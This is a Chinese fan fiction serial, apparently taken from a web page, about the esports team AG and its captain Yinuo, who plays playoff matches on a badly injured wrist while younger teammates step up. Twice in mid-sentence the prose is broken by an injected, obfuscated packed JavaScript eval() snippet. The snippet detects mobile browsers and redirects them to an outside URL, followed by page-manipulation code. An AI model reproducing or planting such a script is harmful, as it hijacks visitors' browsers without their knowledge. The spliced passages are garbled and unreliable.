三楼:公孙离——徐必成 四楼:关羽——轩染 五楼:张飞——大帅 “这是什么阵容?”李九疑惑,“镜、不知火舞、公孙离、关羽、张飞——五个都能carry的英雄,但谁才是真核?” TTG显然也没看懂。他们在四楼五楼犹豫了很久,最后拿出了清清的吕布和不然的澜。 阵容确定: AG:镜(钟意)、不知火舞(长生)、公孙离(一诺)、关羽(轩染)、张飞(大帅) TTG:澜(不然)、弈星(九尾)、虞姬(钎城)、东皇太一(冰尘)、吕布(清清) 加载界面,徐必成在语音里说:“这一局,没有核心。或者说,每个人都是核心。抓到机会就上,不要犹豫。” “明白!” 游戏开始。 这一局,AG打得毫无章法,但又充满灵性。五个人都在carry,五个人都在牺牲。镜入侵野区时,不知火舞在中路支援。公孙离转大时,关羽在绕后。张飞开团时,镜在收割。 TTG显然不习惯这种打法——他们习惯了针对一个核心,习惯了打节奏压制。但现在,AG有五个核心,五个节奏点,根本针对不过来。 八分钟,AG经济领先两千。 十二分钟,AG推掉TTG三路外塔。 十五分钟,风暴龙王团。AG五人分散站位,从五个方向切入。TTG的阵型被完全打乱,根本不知道先打谁。 团灭。 一波。 1:1! 比分扳平! “这才是真正的AG!”Cat在后台激动地说,“五个人都是核心,五个人都能carry,五个人都在为团队做贡献!” --- 第三局,TTG调整战术,想要重新找回节奏。 但AG已经打疯了。这一局,他们拿出了更极致的五核阵容:钟意澜,长生干将莫邪,徐必成马可波罗,轩染马超,大帅鬼谷子。 五个操作怪,五个carry点。 TTG虽然顽强抵抗,但面对五个都能秀操作的选手,还是显得力不从心。 2:1! AG反超比分! “让一追二!”李九激动地说,“在生死战的压力下,AG完成了让一追二!这就是五核的魅力!” --- 第四局,TTG背水一战,拿出了他们最擅长的运营体系:清清猪八戒,不然裴擒虎,九尾沈梦溪,钎城狄仁杰,冰尘张飞。 AG则选择了极致的操作阵容:钟意镜,长生上官婉儿,徐必成公孙离,轩染关羽,大帅太乙真人。 加载界面,徐必成在语音里说:“最后一局了。不管输赢,打出我们的东西。” “明白!” 游戏开始。 这一局,双方都打得极其谨慎。前十分钟,人头比3:3,经济差始终在五百以内。 导播很懂地把镜头给到徐必成。大屏幕上,他的公孙离在发育路稳健补刀,但眼睛一直在观察小地图,手指在飞快地点击信号。 他在指挥。 不是用语言,是用信号,用走位,用操作。 十三分钟,暴君团。 决定胜负的一波。 清清的猪八戒闪现开团,大中三人。不然的裴擒虎进场收割。但几乎同时,钟意的镜也开到了TTG的后排。 混战。 徐必成的公孙离在后方输出。他没有急着转大,而是在等,等TTG的关键技能。 等东皇太一的大招,等张良的大招,等猪八戒的控制。 然后,他动了。 净化秒解猪八戒的控制,闪现拉开距离,反手大招转进TTG人群——但不是冲着C位,是冲着前排。 他在骗技能。 TTG果然上当了。东皇太一大招吸住公孙离,张良大招按住。但公孙离有净化,有苍穹,有复活甲——他死不了。 而就在TTG把所有技能都交给公孙离的时候,AG的其他人动了。 长生的上官婉儿起飞,秒掉钎城的狄仁杰。轩染的关羽绕后,推到三人。钟意的镜进场收割。 完美团战。 AG打出2换5,团灭TTG,拿下暴君,带着兵线推上高地。 TTG顽强抵抗,但终究不敌。 水晶爆炸。 3:1! AG战胜TTG! 赢下生死战! --- 现场彻底疯狂了。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,泪流满面。 舞台上,AG五人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,轩染和大帅击掌,徐必成红着眼眶,拍着每个人的肩膀。 导播把镜头给到积分榜。随着这场胜利,AG的净胜分来到+5,排名上升到第八——刚好压线进入季后赛! “进了!AG进了季后赛!”李九的声音已经嘶哑,“在所有人都认为他们没希望的时候,在生死战的压力下,他们完成了自我救赎!这就是电竞!这就是AG!” 赛后采访,记者把话筒递给徐必成。 “赢下生死战,感觉怎么样?” 徐必成想了想,说:“很累。但赢了,就值得。” “今天前两局你打得很挣扎,后两局突然爆发,是怎么调整的?” 徐必成看了一眼自己的右手腕,然后说:“前两局,我在想我的手腕,在想能不能赢,在想如果输了怎么办。后两局,我不想这些了。我就想打。手腕疼就疼吧,操作变形就变形吧,只要能赢,怎么样都行。” 记者愣住了。 弹幕安静了几秒,然后疯狂刷屏: “泪目” “一诺加油” “电竞精神” 采访结束,徐必成回到后台。 队医冲上来,快速检查他的手腕。 “必须冰敷。”队医说,“不能再这样高强度比赛了。” “季后赛什么时候?”徐必成问。 “一周后。” “我能打。” “可是你的手……” “我能打。”徐必成重复,眼神坚定。 因为现在他知道,有些东西比健康更重要。 比如责任。 比如承诺。 比如——AG。 季后赛,他们来了。 生死边缘,他们没死。 那就继续战斗。 直到—— 战斗到不能战斗为止。 【第二十章·完】 21. 暗涌 2022年9月,成都华西医院 走廊里的消毒水味比往常更浓,浓到让徐必成想吐。他坐在骨科诊室外的塑料椅上,左手死死攥着一张新的MRI片子,右臂打着临时固定,手腕处传来的疼痛已经不是针扎,而是持续的、钝重的、像骨头在相互摩擦的疼。 “三角纤维软骨再次撕裂。”一小时前,医生的声音平静得可怕,“而且这次是新的撕裂面,在原先手术修复位置的旁边。徐先生,我必须严肃地告诉你——如果你继续这样高强度比赛,这只手腕可能会永久性损伤。” 永久性损伤。 徐必成盯着片子上的影像,那个白色的撕裂痕迹在黑色的背景上格外刺眼。他想起三年前第一次手腕疼时,医生也说“休息一下就好”。想起两年前手术时,医生说“术后好好康复就没问题”。想起一个月前,医生说“注意劳逸结合”。 他一直在注意,一直在小心,一直在——骗自己。 “我需要打季后赛。”他对医生说,声音干涩得像砂纸。 医生推了推眼镜,眼神复杂:“徐先生,我是医生,不是教练。从医学角度,我强烈建议你立即停止训练和比赛,进行至少三个月的系统治疗。但从个人角度……我知道季后赛对你们意味着什么。” 意味着什么? 意味着AG的夏季赛征程可能到此为止。意味着他可能再也无法以选手身份站在总决赛舞台上。意味着那些期待他“最后一舞”的粉丝会失望。意味着——他可能真的要退役了。 “如果……如果打封闭针呢?”徐必成问。 医生沉默了很久:“可以。但你要明白,封闭针只是暂时麻痹神经,屏蔽疼痛。它不能治疗损伤,相反,它会让你在感觉不到疼痛的情况下继续伤害手腕。一针封闭,可能需要多一个月的康复时间。” “能坚持完季后赛吗?” “如果只是打比赛,可能可以。但你要承受的训练强度呢?你要做的操作呢?封闭针效果会随着时间减弱,疼痛会越来越强烈,到最后你可能连手机都握不住。” 徐必成闭上眼睛。 手机在口袋里震动,是俱乐部经理菲菲打来的。 接通。 “一诺,检查结果怎么样?”菲菲的声音很急。 “不太好。”徐必成实话实说,“手腕再次撕裂,医生建议休息三个月。” 电话那头沉默了几秒,然后传来菲菲压抑的抽泣声:“那……那季后赛……” “我能打。”徐必成说,“打封闭。” “可是你的手……” “菲菲姐。”徐必成打断她,“你还记得2018年AG降级的时候吗?那时候我们什么都没有,但我们还在打。现在我们有冠军,有粉丝,有希望——我不能在这个时候退缩。” 菲菲在电话那头哭了,但很快控制住情绪:“好。我让队医联系最好的麻醉科医生。但一诺,你要答应我——如果疼得受不了,一定要说。不要硬撑。” “我答应。” 挂断电话,徐必成靠在墙上,看着走廊尽头窗外的天空。 成都九月的天,阴沉得像要下雨。 --- 同一时间,上海医学院实验室。 林晓晓盯着电脑屏幕上的医学论文,但一个字也看不进去。手机在旁边,屏幕亮着微博界面,热搜第三:#一诺手腕伤情# 点进去,是几张模糊的医院照片——徐必成戴着口罩帽子,右臂打着固定,从华西医院骨科走出来。配文:“一诺疑似手腕伤情复发,季后赛恐缺席。” 评论区已经炸了: “完了,AG没了” “一诺好好养伤,身体重要” “最后一场那么拼,果然出问题了” “退役吧,别硬撑了” 她咬着嘴唇,打开那个加密文件夹,里面是她整理的徐必成手腕伤情时间线: 2019年11月:首次出现手腕疼痛,诊断为轻微劳损。 2020年3月:疼痛加剧,诊断为肌腱炎。 2021年1月:MRI显示三角纤维软骨撕裂,建议手术。 2021年2月:接受手腕TFCC修复手术。 2021年6月:术后四个月复出,状态起伏。 2022年7月:疼痛反复,诊断为术后康复不完全。 2022年9月:再次撕裂。 一条清晰的下行曲线。 她打开邮箱,找到三天前给AG医疗团队发的邮件——关于手腕TFCC二次损伤的康复建议和风险预警。已读,未回复。 她犹豫了一下,找到徐必成的微博,私信:“诺队,我是林晓晓。看到你手腕伤情的消息,很担心。作为医学院的学生,我想提醒你:二次损伤的康复难度是第一次的三倍以上,如果处理不当,可能会导致永久性功能障碍。请一定,一定要听医生的建议。无论你做什么决定,我都会支持你。但请记住——健康是一辈子的,比赛只是一时的。” 发送。 几乎是立刻,消息显示已读。 但没回复。 她盯着屏幕,很久。然后,她打开购票软件,买了三天后去成都的机票。 --- AG基地,战术分析室。 气氛凝重得能拧出水来。五个少年围在桌边,教练Awoke站在白板前,但白板上空空如也——Cat不在。 Cat三天前晕倒在训练室,被紧急送医。诊断结果是长期熬夜、高压力工作导致的急性心肌炎,需要至少三个月的卧床静养。 AG失去了战术大脑。 “季后赛第一轮,打Estar。”Awoke的声音嘶哑,“Estar目前联盟第一,13胜2负。我们……第八名,8胜8负。” 实力差距悬殊。 更糟的是,AG现在既没有健康的王牌选手,也没有顶级的战术教练。 “Cat哥那边……”长生小声问。 “情况稳定,但短期内回不来。”Awoke说,“他让我转告你们——相信彼此,相信自己。你们是冠军,冠军的尊严,要靠自己守住。” 冠军的尊严。 徐必成握紧了左手,右臂的固定让他看起来像个残兵。但他知道,他现在就是AG的旗帜,哪怕这面旗帜已经千疮百孔,也不能倒。 “Estar的战术我们很熟悉。”Awoke在白板上画着,“他们打运营转线,打中野辅联动,打资源掠夺。我们要赢,只有一个办法——比他们更凶,比他们更快,比他们更敢打。” “怎么打?”钟意问。 “五核。”徐必成开口,声音平静,“但不是常规的五核。是——搏命五核。” 所有人都看向他。 “Estar的打法很稳,很运营,很团队。”徐必成站起来,走到白板前,用左手拿起马克笔,“但稳就意味着——怕乱。运营就意味着——怕断。团队就意味着——怕散。” 他在白板上写下三个字:“乱、断、散”。 “我们要做的,就是打乱他们的节奏,打断他们的运营,打散他们的团队。怎么打?用最极致的个人操作,用最冒险的团战决策,用最不合理的阵容选择。” 他顿了顿,看向每个人:“但这很危险。因为如果我们没打好,会被碾压,会被嘲笑,会输得很难看。你们……敢吗?” 钟意第一个举手:“敢。” 长生推了推眼镜:“敢。” 轩染点头:“敢。” 大帅说:“敢。” 徐必成笑了,尽管笑容有些苦涩:“好。那我们就——搏命。” --- 三天后,季后赛第一轮,成都主场。 能容纳三千人的场馆座无虚席,但气氛诡异得像灵堂。AG粉丝区,所有人手里都举着应援牌,但没人欢呼,没人呐喊,只是静静地坐着,像在等待一场审判。 林晓晓和陈薇坐在第一排。陈薇手里拿着AG的队旗,但旗子是卷起来的。林晓晓盯着舞台,手心全是汗。 舞台上,徐必成坐在选手席上。他的右臂还打着固定,但手腕处能看到明显的绷带痕迹——封闭针已经打了,疼痛暂时屏蔽,但手腕的僵硬感还在,像戴了个无形的枷锁。 导播给了特写镜头。大屏幕上,他的表情平静得可怕,但额角的汗珠在灯光下清晰可见。 “一诺带伤出战。”解说李九的声音透着沉重,“这可能是他职业生涯最艰难的一场比赛。手腕伤情复发,战术教练缺席,对手是联盟第一的Estar——AG今天,凶多吉少。” 琪琪接话:“但这就是电竞的魅力。在绝境中寻找希望,在不可能中创造可能。今天,我们要看的就是——AG能否创造奇迹。” BP开始。 --- Estar蓝色方。 教练47站在选手席后方,表情轻松。Estar这个赛季状态火热,季后赛第一轮对阵第八名的AG,在他们看来就是走个过场。 “禁公孙离和孙尚香。”47说,“针对一诺。” Estar前两Ban果然给到了这两个射手。AG则按掉了大乔和鲁班大师。 “一楼拿澜。”47说,“给他们镜,看他们敢不敢拿。” Estar锁定澜。AG毫不犹豫地锁定了镜——钟意最自信的英雄。 “有魄力。”47笑了,“那我们就不客气了。” Estar二三楼拿出了清融的西施和易峥的虞姬——极致的控制加输出。 AG三四楼选择了长生不知火舞和徐必成的狄仁杰。 Estar最后两手锁定了子阳的张飞和坦然的吕布。 AG五楼,大帅拿出了他的招牌英雄——鬼谷子。 阵容确定: AG:镜(钟意)、不知火舞(长生)、狄仁杰(一诺)、鬼谷子(大帅)、马超(轩染) Estar:澜(花海)、西施(清融)、虞姬(易峥)、张飞(子阳)、吕布(坦然) 加载界面,徐必成闭上眼睛。 再睁开时,眼神锐利得像刀。 “记住,搏命。”他在语音里说,“抓到机会就上,不要犹豫。” “明白!” 游戏开始。 开局,Estar打得极其稳健。清线,控野,做视野,步步为营。AG则打得极其凶悍——钟意的镜二级就入侵野区,长生的不知火舞三级就游走,大帅的鬼谷子闪现开团。 乱。 Estar显然不习惯这种打法。他们习惯了运营,习惯了节奏,习惯了控制。但现在,AG像一群疯子,到处乱冲,到处乱打,根本不管什么战术,什么节奏。 八分钟,AG经济领先一千。 “他们在乱打。”清融在语音里说,“但我们不能乱。稳住,按我们的节奏来。” 但AG不给Estar稳住的机会。十分钟,风暴龙王刷新,AG直接开龙——不是偷,是明着打,当着Estar的面打。 “他们疯了?”花海愣住,“我们五个人都在,他们敢开龙?” 但AG就是敢。 而且,他们打下来了。 大帅的鬼谷子闪现开团,拉到三人。长生的不知火舞进场收割,秒掉清融的西施。钟意的镜切掉易峥的虞姬。轩染的马超收割残局。 完美团战。 AG打出1换4,拿下龙王,带着兵线推上高地。 Estar顽强抵抗,但终究不敌。 水晶爆炸。 1:0! AG拿下第一局! “搏命成功了!”李九激动地喊道,“AG用最疯狂的打法,击败了最稳健的Estar!这就是电竞!这就是奇迹!” --- 中场休息,AG休息室。 五个人抱在一起,又哭又笑。 “我们赢了!”钟意大喊。 “还没完。”徐必成说,声音有些颤抖——不是激动,是手腕的疼痛开始回来了,封闭针的效果在减弱。 队医冲上来,检查他的手腕。 “怎么样?”Awoke问。 “还能坚持。”徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028859|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必成说,“但下一局……可能打不了太久了。” “什么意思?” “意思就是——”徐必成看着队友,“我们要在最短的时间内结束比赛。拖得越久,对我越不利。” 四个人对视一眼,眼神坚定。 “那就速战速决。”长生说。 “第二局,我们继续搏命。”钟意说。 “更凶,更快,更敢。”轩染说。 “好。”徐必成点头,“那就——继续搏命。” --- 第二局BP开始。 Estar调整战术,拿出了他们最擅长的运营体系:坦然猪八戒,花海裴擒虎,清融沈梦溪,易峥公孙离,子阳太乙真人。 AG则选择了更极致的操作阵容:钟意澜,长生上官婉儿,徐必成马可波罗,轩染关羽,大帅张飞。 加载界面,徐必成活动了一下手指。 僵硬。 像戴着手套在操作。 但他必须操作。 游戏开始。 这一局,AG打得更凶,更疯,更不要命。澜一级入侵野区,上官婉儿二级游走,关羽三级单杀,马可波罗四级转大。 乱。 极致的乱。 Estar被彻底打懵了。他们想运营,但运营需要时间,需要空间,需要节奏。AG不给时间,不给空间,不给节奏。 十二分钟,AG推掉Estar三路高地。 十五分钟,风暴龙王团。AG直接强开,不管阵型,不管站位,就是冲。 团灭。 一波。 2:0! AG再下一城! “让二追三的剧本要反过来了!”琪琪激动地说,“现在是AG 2:0领先Estar!第八名要掀翻第一名了!” --- 第三局,Estar背水一战。 他们拿出了压箱底的东西:坦然关羽,花海镜,清融不知火舞,易峥狄仁杰,子阳鬼谷子。 极致的个人能力阵容,要用操作硬碰硬。 AG这边,徐必成的手腕已经疼到麻木了。他能感觉到,每一次点击屏幕,都像有电流从手腕传到指尖,然后传遍全身。 但他还在操作。 因为这是第三局,是赛点局,是——可能决定AG夏季赛命运的一局。 加载界面,他在语音里说:“这一局,可能是我的最后一局了。” “诺哥……”钟意想说什么。 “听我说完。”徐必成打断他,“我的手腕……快撑不住了。所以这一局,我们要在十五分钟内结束比赛。十五分钟,如果赢不了,我就……可能打不了了。” 四个人沉默。 然后长生说:“那就十五分钟。” “十五分钟。”钟意说。 “十五分钟。”轩染说。 “十五分钟。”大帅说。 徐必成笑了:“好。那就——十五分钟。” 游戏开始。 这一局,AG打得像疯了一样。不,不是像,就是疯了。五个人,五个位置,五条疯狗,见人就咬,见塔就推,见龙就打。 Estar被打得措手不及。他们想操作,但操作需要冷静,需要判断,需要时机。AG不给冷静,不给判断,不给时机。 十分钟,AG推掉Estar所有外塔。 十二分钟,AG拿下主宰。 十三分钟,AG带着主宰先锋上高地。 十四分钟,高地团。 决定胜负的一波。 子阳的鬼谷子闪现开团,拉到三人。清融的不知火舞进场收割。但几乎同时,大帅的张飞也开到了Estar的后排。 混战。 徐必成的马可波罗在后方输出。他的手腕已经疼到没有知觉了,他只是机械地点着屏幕,机械地释放技能,机械地走位。 然后,他看到了机会。 易峥的狄仁杰站位失误,露出了破绽。 净化,闪现,大招——转! 马可波罗转进人群,打出成吨伤害。长生的上官婉儿起飞,秒掉易峥。钟意的澜收割残局,轩染的关羽绕后控场。 完美团战。 团灭。 十五分钟整,AG推平水晶。 3:0! AG零封Estar! 晋级季后赛第二轮! --- 现场彻底疯狂了。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,泪流满面。但她的眼泪不是喜悦,是心疼——因为她看到了,比赛结束后,徐必成摘下耳机时,那个痛苦到扭曲的表情。 舞台上,AG五人紧紧拥抱。但徐必成是最后一个站起来的,而且站得很慢,很艰难。导播给了特写镜头——他的右手在剧烈颤抖,脸色苍白得像纸。 赛后采访,记者把话筒递给徐必成,但他摇了摇头,把话筒推给了长生。 “一诺的手……”记者小声问。 “不太舒服。”长生说,“但他坚持打完了比赛。这就是我们的队长——只要还能打,就不会倒下。” 采访草草结束。徐必成被队医扶着走下舞台,直接送往医院。 林晓晓想跟上去,但被保安拦住了。她只能站在通道口,看着那个单薄的背影消失在拐角。 手机震动,是陈薇发来的微信:“晓晓,一诺他……” “我知道。”林晓晓回复,“他可能……真的打不了了。” 关掉手机,她看向舞台。 那里,AG的其他四人还在接受粉丝的欢呼。那里,金色的雨已经开始飘落。那里,胜利的喜悦在空气中弥漫。 但林晓晓知道,在那喜悦的背后,是沉重的代价。 是可能再也无法恢复的手腕。 是可能就此终结的职业生涯。 是——一个时代的暗涌,正在悄然涌动。 而他们,都站在暗涌的中心。 不知前方是岸,还是更深的海。 【第二十一章·完】 22. 传承之时 2022年9月,成都华西医院住院部 窗外的桂花香被消毒水味彻底淹没。单人病房里,徐必成躺在病床上,右臂打着厚重的石膏,从手腕一直固定到小臂中段。石膏是纯白色的,干净得刺眼,像某种宣判书。 “必须绝对静养四周。”主治医生的声音还在耳边回响,“这次不是建议,是命令。如果你再强行使用右手,可能连日常生活中的精细动作都会受影响。” 日常生活的精细动作——比如握筷子,比如写字,比如……握手机。 徐必成盯着天花板,脑子里一片空白。不是悲伤,不是愤怒,不是不甘,是一种更深层的、像被抽空了一切的麻木。 病房门被轻轻推开。菲菲走进来,手里拎着果篮,眼睛红肿得像桃子。 “俱乐部那边……”她开口,声音哽咽,“股东会的意思是……尊重医生的建议。季后赛,你就……别打了。” 徐必成没说话,只是看着天花板。 “但团队那边……”菲菲吸了吸鼻子,“长生说,他们会替你打完。轩染说,他会carry。钟意说,他会带节奏。大帅说,他会指挥好。还有……Cat哥。” 听到这个名字,徐必成终于有了反应。他转过头:“Cat哥怎么样?” “情况稳定,但也要静养。”菲菲在床边坐下,“他让我转告你——是时候了。” 是时候了。 三个字,像三颗钉子,钉进心里。 徐必成闭上眼睛。他知道Cat的意思——是时候把AG交出去了,是时候让新人担起责任了,是时候……退役了。 但他还没准备好。 不是舍不得赛场,不是舍不得荣誉,是舍不得——那些还没完成的承诺。对粉丝的承诺,对队友的承诺,对自己的承诺。 手机在床头震动。徐必成用左手艰难地拿起来,屏幕上是长生发来的消息:“诺哥,今天我们打WB。你放心养伤,我们会赢的。” 配图是训练室的照片——四个少年围在白板前,白板上画着复杂的战术图。站在最前面讲解的,是长生。 徐必成盯着那张照片,很久。然后他打字回复:“我相信你们。但记住,不要想替我赢,要为AG赢。” 发送。 关掉手机,他看向窗外。 成都九月的天空,阴沉得像要下雨。 --- 同一时间,上海飞往成都的航班上。 林晓晓坐在靠窗的位置,盯着舷窗外的云层。飞机在颠簸,她的心也在颠簸。 三天前,她在微博上发起了“为一诺而战”的线上应援活动。本意是希望粉丝们能理解徐必成的伤情,支持他的任何决定。但事情的发展超出了她的预料。 活动在24小时内转发超过50万次,评论超过10万条。粉丝们制作了各种祝福视频、手绘漫画、长篇信件。有人分享自己带伤坚持工作的经历,有人讲述如何从伤病中恢复的故事,有人甚至录了医学专家关于手腕康复的科普视频。 最让她动容的,是一条来自AG老粉丝的留言: “2018年AG降级时,我们以为AG完了。但一诺来了,他带着AG杀回来,拿了冠军。现在一诺伤了,但我们相信,AG不会完。因为AG从来不是一个人的队伍,是一代代选手传承下来的精神。只要精神还在,AG就永远在。” 传承。 这个词,像一颗种子,在她心里发芽。 她打开笔记本电脑,开始整理这几个月收集的所有资料——关于AG的历史,关于一诺的职业生涯,关于新生代选手的成长轨迹,关于粉丝社群的情感演变。 她有了一个想法。 也许,她可以用自己的方式,记录这段历史。不是为了一诺,不是为了AG,是为了所有在这个行业里奋斗的人,为了所有在屏幕前支持他们的人。 为了——传承。 --- 成都主场,季后赛第二轮,AG vs WB。 能容纳三千人的场馆座无虚席,但气氛和往常完全不同。AG粉丝区,所有人手里都举着同样的应援牌——“为一诺而战”。牌子的底色是AG的黑红,但上面印着一诺的Q版头像,旁边写着:“你的身后,有我们。” 林晓晓和陈薇坐在第一排。陈薇手里拿着一个平板,屏幕上显示着实时数据——这是林晓晓设计的“情绪监测系统”,通过分析现场观众的欢呼声、表情变化、肢体语言,推测比赛局势的变化。 “紧张吗?”陈薇问。 “嗯。”林晓晓点头,“但不止是紧张。” 是期待。期待看到没有一诺的AG,会打出什么样的比赛。期待看到长生、轩染、钟意、大帅——这四个少年,能否担起这份责任。 舞台上,AG四人入场。长生走在最前面,戴着眼镜,表情严肃。轩染、钟意、大帅跟在后面,没有笑容,只有专注。 导播给了特写镜头。大屏幕上,四个人的眼神里有种不一样的东西——不是紧张,不是兴奋,是一种沉重的、像背着整个世界的责任感。 “今天是AG失去核心后第一场比赛。”解说李九的声音透着沉重,“一诺手腕伤情恶化被迫休战,AG面临无核困境。他们能否顶住压力,继续黑马之旅?” 琪琪接话:“但WB也不是好对付的。他们这个赛季状态火热,暖阳的野区节奏联盟顶级,梓墨的边路稳如泰山,花卷的中单灵性十足,乔兮的射手稳定输出,星宇的开团精准致命——AG今天,凶多吉少。” BP开始。 --- WB蓝色方。 教练贝克曼站在选手席后方,表情轻松。在他看来,没有一诺的AG就像没了牙的老虎,不足为惧。 “禁镜和澜。”贝克曼说,“针对钟意。” WB前两Ban果然给到了这两个打野。AG则按掉了大乔和鲁班大师。 “一楼拿裴擒虎。”贝克曼说,“给他们阿古朵,看他们敢不敢拿。” WB锁定裴擒虎。AG毫不犹豫地锁定了阿古朵——钟意最熟悉的蓝领野。 “有魄力。”贝克曼笑了,“那我们就不客气了。” WB二三楼拿出了梓墨的关羽和花卷的西施——极致的控制链。 AG三四楼选择了长生不知火舞和轩染的马超。 WB最后两手锁定了乔兮的虞姬和星宇的张飞。 AG五楼,大帅拿出了他的招牌英雄——鬼谷子。 阵容确定: AG:阿古朵(钟意)、不知火舞(长生)、马超(轩染)、鬼谷子(大帅)、狄仁杰(替补射手云黎) WB:裴擒虎(暖阳)、西施(花卷)、虞姬(乔兮)、张飞(星宇)、关羽(梓墨) 加载界面,长生活动了一下手指。 冰凉,但稳定。 “记住Cat哥的战术。”他在语音里说,“不打中野,不打射核,打边核。所有资源都给轩染,所有保护都给轩染,所有希望——都给轩染。” “明白。”三个声音同时回答。 游戏开始。 开局,WB打得极其凶悍。暖阳的裴擒虎二级就入侵野区,花卷的西施三级就游走,梓墨的关羽一级就压线。 但AG没乱。 因为Cat在病床上给他们设计的战术,只有一个核心思想——极致单带。 轩染的马超,从上路一路带到底。不清线,只推塔。不参团,只牵制。不发育,只带线。 WB显然不习惯这种打法。他们习惯了抓人,习惯了打团,习惯了运营。但现在,AG的马超像个幽灵,永远在带线,永远在推塔,永远在——恶心人。 八分钟,马超推掉了上路二塔。 十分钟,马超推掉了上路高地。 十二分钟,马超带着兵线,准备推水晶。 WB被迫回防,AG其他四人趁机推掉了中路一塔。 “这就是Cat的战术!”李九激动地说,“极致的四一分带,极致的边核体系!AG在没有一诺的情况下,打出了完全不同的风格!” 但WB毕竟是顶级强队。他们调整很快,梓墨的关羽开始单防马超,花卷的西施开始游走抓单。 十五分钟,轩染的马超被抓死三次,带线节奏被打断。 而AG其他四人,在四打五的团战中,渐渐支撑不住。 二十分钟,风暴龙王团。WB强开,AG被迫接团。虽然长生的不知火舞极限操作,拿下双杀,但终究寡不敌众。 团灭。 一波。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 气氛有些凝重,但没人沮丧。 “我的问题。”轩染说,“我被针对了,没带起来。” “不,是我的问题。”钟意说,“我的阿古朵节奏没带好。” “我的问题。”长生说,“我的不知火舞进场时机不对。” “我的问题。”大帅说,“我的鬼谷子开团开得不好。” 替补射手云黎——这个17岁的少年,紧张得说不出话。 Awoke看着他们,叹了口气:“现在不是分锅的时候。现在的问题是——下一局怎么打?如果继续打边核,WB已经知道怎么针对了。” “那就换战术。”长生推了推眼镜,“Cat哥给了我们三套战术。第一套边核,输了。那我们就用第二套——中核。” “中核?”钟意皱眉,“可是版本……” “版本重要,但赢比赛更重要。”长生说,“第二局,围绕我打。我拿干将莫邪,你们保我发育,保我输出。” 四个人对视一眼,然后点头。 “好。”钟意说,“那就中核。” --- 第二局BP开始。 AG蓝色方,一楼锁定了干将莫邪——长生最自信的法刺英雄。 WB显然没料到,BP有些混乱。他们在二三楼选择了暖阳的镜和花卷的不知火舞。 AG三四楼选择了钟意的澜和轩染的关羽。 WB最后两手锁定了乔兮的马可波罗和星宇的太乙真人。 AG五楼,大帅拿出了他的招牌英雄——张飞。 阵容确定: AG:干将莫邪(长生)、澜(钟意)、关羽(轩染)、张飞(大帅)、狄仁杰(云黎) WB:镜(暖阳)、不知火舞(花卷)、马可波罗(乔兮)、太乙真人(星宇)、吕布(梓墨) 加载界面,长生深呼吸。 这是他的时刻。 他必须carry。 游戏开始。 这一局,AG打得极其专注。所有资源都给干将莫邪,所有保护都给干将莫邪,所有希望——都给干将莫邪。 而长生,没有辜负这份信任。 他的干将莫邪,像一台精密的炮台。每一剑都精准致命,每一次大招都毁天灭地。八分钟,他已经拿了五个人头,经济领先全场。 “长生!”李九惊呼,“他carry了!在没有一诺的情况下,他站出来了!” 十二分钟,风暴龙王团。长生的干将莫邪四剑齐发,秒掉乔兮的马可波罗和花卷的不知火舞。 双杀! WB核心双C阵亡,团战溃败。AG拿下龙王,带着兵线一波推平水晶。 1:1! 比分扳平! “这就是传承!”琪琪激动地说,“长生接过了AG的大旗,carry了比赛!这就是电竞的魅力——一代人老去,一代人成长!” --- 第三局,WB调整战术,疯狂针对中路。 但AG也变了——这一局,核心是钟意。 他的镜,像一道闪电。入侵野区,抓边路,控资源,带节奏。十分钟,他已经超神,经济领先对面打野两千。 “钟意也站出来了!”李九激动地说,“野核carry!AG现在有三核了——轩染的边核,长生的中核,钟意的野核!这就是Cat设计的战术——每个人都能carry,每个人都是核心!” 2:1,AG反超比分。 第四局,WB背水一战,拿出了他们最擅长的运营体系。 但AG已经打疯了。这一局,carry的是大帅——他的鬼谷子,每一次开团都精准致命,每一次控制都恰到好处。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028860|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >3:1,AG拿下赛点! “让一追三!”李九的声音已经嘶哑,“在没有一诺的情况下,AG完成了让一追三!他们证明了——AG不是一个人的队伍,是五个人的队伍,是一代代选手传承下来的精神!” --- 第五局,巅峰对决。 WB拿出了压箱底的东西:暖阳裴擒虎,花卷沈梦溪,乔兮公孙离,星宇张飞,梓墨猪八戒。 AG则选择了极致的团队阵容:钟意阿古朵,长生不知火舞,轩染马超,大帅鬼谷子,云黎狄仁杰。 加载界面,长生活动了一下手指。 “最后一局了。”他在语音里说,“不管输赢,打出我们的东西。” “明白!” 游戏开始。 这一局,双方都打得极其谨慎。前十分钟,人头比2:2,经济差始终在三百以内。 导播很懂地把镜头给到长生。大屏幕上,他的不知火舞在团战边缘寻找机会,眼睛一直盯着小地图,手指在飞快地点击信号。 他在指挥。 像一诺那样指挥。 十三分钟,暴君团。 决定胜负的一波。 梓墨的猪八戒闪现开团,大中三人。暖阳的裴擒虎进场收割。但几乎同时,大帅的鬼谷子也开到了WB的后排。 混战。 长生的不知火舞在侧翼寻找机会。他没有急着进场,而是在等,等WB的关键技能。 等张飞的大招,等猪八戒的控制,等裴擒虎的爆发。 然后,他动了。 